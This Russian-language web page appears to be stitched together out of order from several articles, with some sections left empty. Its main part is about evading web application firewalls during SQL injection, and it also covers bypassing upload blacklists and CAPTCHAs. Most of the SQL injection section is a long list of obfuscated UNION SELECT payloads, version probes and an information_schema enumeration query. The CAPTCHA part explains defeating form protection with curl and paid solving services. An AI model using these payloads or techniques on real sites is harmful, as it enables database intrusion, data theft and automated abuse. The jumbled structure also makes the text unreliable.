Методы обхода защитных средств веб-приложений при эксплуатации SQL-инъекций / Хабр

Php – обход аутентификации на сайте – web-answers

Безопасный метод авторизации на php

Для обхода используются следующие техники:

Инъекция нульбайта: использование до вредоносного пейлоада. Защитные средства могут проигнорировать все символы после нуль-терминирования, но при этом передать весь запрос на веб-сервер.

Смешанное содержимое: при использовании регистрозаивисимых регулярных выражений можно обойти защитные средства используя смешанное содержимое: например преобразуем

Защита

Из нативных средств можно выделить разного рода валидаторы или преобразователи входящих данных. Они могут быть как самописными, так и использовать функции языка программирования. Например, в среде php распространено использование следующих функций:

Большинство этих функций направлено на то, чтобы провести преобразование “опасных” символов, исходя из контекст использования. Наиболее эффективным средством защиты из вышеперечисленного является Intval.

В “надстроенных” средствах защиты можно выделить два направления — защита веб приложения средствами веб-приложения (фреймворк), либо защита с помощью сторонних средств, например в виде web application firewall. В качестве первого примера можно привести использование HTMLPurifier: эта библиотека очищает html код от всех вредоносных, невалидных, запрещенных (вашей конфигурацией) частей кода, в том числе отдельные атрибуты.

Использование сервисов распознавания

В предыдущем примере мы распознавали вручную,
однако, чаще всего это делать нецелесообразно.

Лучше подключить специальный сервис, на котором специально обученные
китайцы за копейки разбирают капчи.

Как это работает: вы считываете капчу в файл, а затем используя
API сервиса отправляете эту капчу на сервис.
Через 3-5 секунд получаете эту капчу обратно в разобранном виде.

Стоит это удовольствие не дорого –
менее одного доллара за 1000 разобранных капч.

Как обойти капчу

Итак, теперь вы знаете как устроена капча.
Давайте теперь о том, как ее обойти.
Для этого нужно сделать несколько запросов с помощью CURL.

Первый запрос должен слаться на файл с капчей.
Куда его слать – видно в HTML коде формы или же можно отследить в отладчике,
куда отправляются запросы.

Результатом данной операции будет картинка,
ее можно сохранить в файл с помощью file_put_contents.
Зачем сохранять – чтобы можно было прочитать капчу и разобрать
ее каким-либо образом (для начала вручную).

Запрос на капчу обязательно следует слать
через curl, а не file_get_contents, так как нам обязательно
следует принимать и оправлять куки – ведь капча работает
на сессиях PHP.

Итак, получаем капчу, сохраняем его в файл, разбираем эту капчу вручную
и шлем
второй запрос уже на страницу с формой вместе с POST данными для формы (и с разобранной капчей).

Не ошибитесь и не сделайте лишнего запроса к капче!

Как устроена капча

Чтобы обойти капчу, нужно понимать,
как она устроена изнутри.

Когда мы заходим на страницу
с формой – там уже есть капча
или она подгружается через некоторое время.

Обход защитных средств

Для обхода защитных средств необходимо знать несколько вещей — из чего состоит веб-приложение, чем и как оно защищено, а также глубокое знание платформы и логики работы веб-приложения.

Из простейших примеров: функционал современных сайтов содержит довольно много форм, позволяющих пользователю загружать произвольные файлы на сервер. Это могут быть изображения, документы, pdf файлы и т.д. Веб-разработчики зачастую используют концепцию «черного списка», прямо запрещающего загрузку потенциально опасных типов файлов: .phtml .php .php3 .php4 .php5 .php6 .phps .cgi .exe .pl .asp .aspx .shtml .shtm .fcgi .fpl .jsp .htm .html .wml.

Использование черного списка не убережет владельца сайта от потенциальных рисков обхода фильтрации. Например, в новой версии PHP 7 добавлено новое расширение .php7, которое позволит обойти фильтрацию. Не все разработчики знают об этом и успели добавить его в черный список. Также в вышеприведенном перечислении расширений отсутствует .pht.

Логически, зная как построена защита (изучив код при его наличии или логику фильтрации), можно пробовать ее обходить. Это может быть как черным списком, так и фильтрацией опасных конструкций с помощью регулярных выражений, преобразование или нормализация данных.

Популярные методы обхода защиты от sql-инъекций

Существует два вида инъекций — в строковом или числовом параметре:

Строковый

Example: SELECT * from table where example = 'Example'

Числовой

Example: SELECT * from table where id = 123

Инъекции делятся на несколько типов, в зависимости от СУБД или условий инъекции, от этого зависят и методы обхода защиты.

Самое популярное заблуждение — фильтрация одинарной кавычки: т.е. если кавычки в запросе не будет — то и инъекция (разделение запроса) невозможна. Поэтому мы и не будем разделять запрос, мы его объединим с помощью оператора UNION, а для удобства возьмем еще и несуществующий ID:

Примеры url-encoded при проведении union select запросов

   Union(Select)

   union distinct select

   union distinctROW select

   union 53elect

   #?
uion ?#?
select

   #?zen?
union all#zen
#Zen
select

   Union SeLEct

   union select

   union select

   union distinct select

   union distinctROW select

   unoin all selec%7

Примеры сигнатурного обхода

/*!UNiOn*/ /*!SeLEct*/

 Union(Select 1,2,3)-- -

  union distinct select 

  union distinctROW select 

 /**//*!12345UNION SELECT*//**/

 concat(0x223e,@@version)

 concat(0x273e27,version(),0x3c212d2d)

 concat(0x223e3c62723e,version(),0x3c696d67207372633d22)

 concat(0x223e,@@version,0x3c696d67207372633d22)

 concat(0x223e,0x3c62723e3c62723e3c62723e,@@version,0x3c696d67207372633d22,0x3c62​723e)

 concat(0x223e3c62723e,@@version,0x3a,”BlackRose”,0x3c696d67207372633d22)

 concat(‘’,@@version,’’)

 /**//*!50000UNION SELECT*//**/

 /**/UNION/**//*!50000SELECT*//**/

 /*!50000UniON SeLeCt*/

 union /*!50000Select*/

  #uNiOn #sEleCt

  #1q
uNiOn all#qa
#
sEleCt

 /*!UNiOn*/ /*!SeLEct*/

 /*!union*/ /*!select*/

  un/**/ion se/**/lect

 union select

 /**/union/**/select

 union#foo*/*bar
select#foo


 REVERSE(noinu) REVERSE(tceles)

 /*--*/union/*--*/select/*--*/

 union (/*!/**/ SeleCT */ 1,2,3)

 /*!union*/ /*!select*/

 union /*!select*/

 /**/union/**/select/**/

 /**/uNIon/**/sEleCt/**/

 /**//*!union*//**//*!select*//**/

 /*!uNIOn*/ /*!SelECt*/

  union distinct select 

  union distinctROW select 

  UnIOn
SeleCt


 UNION/*&test=1*/SELECT/*&pwn=2*/

 un? un/**/ion se/**/lect 

  UNunionION SEselectLECT 

  union select 

 %2f%2a*/union%2f%2a /select%2f%2a*/

 /**/union/**/select/**/

 /**/union/**/select/**/

 union#foo*/*bar
select#foo


 /*!UnIoN*/SeLecT 

Примеры смешанного содержимого запросов

unhex(hex(Concat(Column_Name,0x3e,Table_schema,0x3e,table_Name)))
 /*!from*/information_schema.columns/*!where*/column_name /*!like*/char(37, 222, 97, 225, 225, 37)

union select 1,2,unhex(hex(Concat(Column_Name,0x3e,Table_schema,0x3e,table_Name))),4,5 /*!from*/information_schema.columns/*!where*/column_name /*!like*/char(37, 222, 97, 225, 225, 37)?

Заключение

Придерживаться правила: all input is evil until proven otherwise.Тщательно проверять входящие данные.Тщательно проверять входящие данные.Тщательно проверять входящие данные.Использовать комплексные средства защиты веб-приложений от хакерских атак.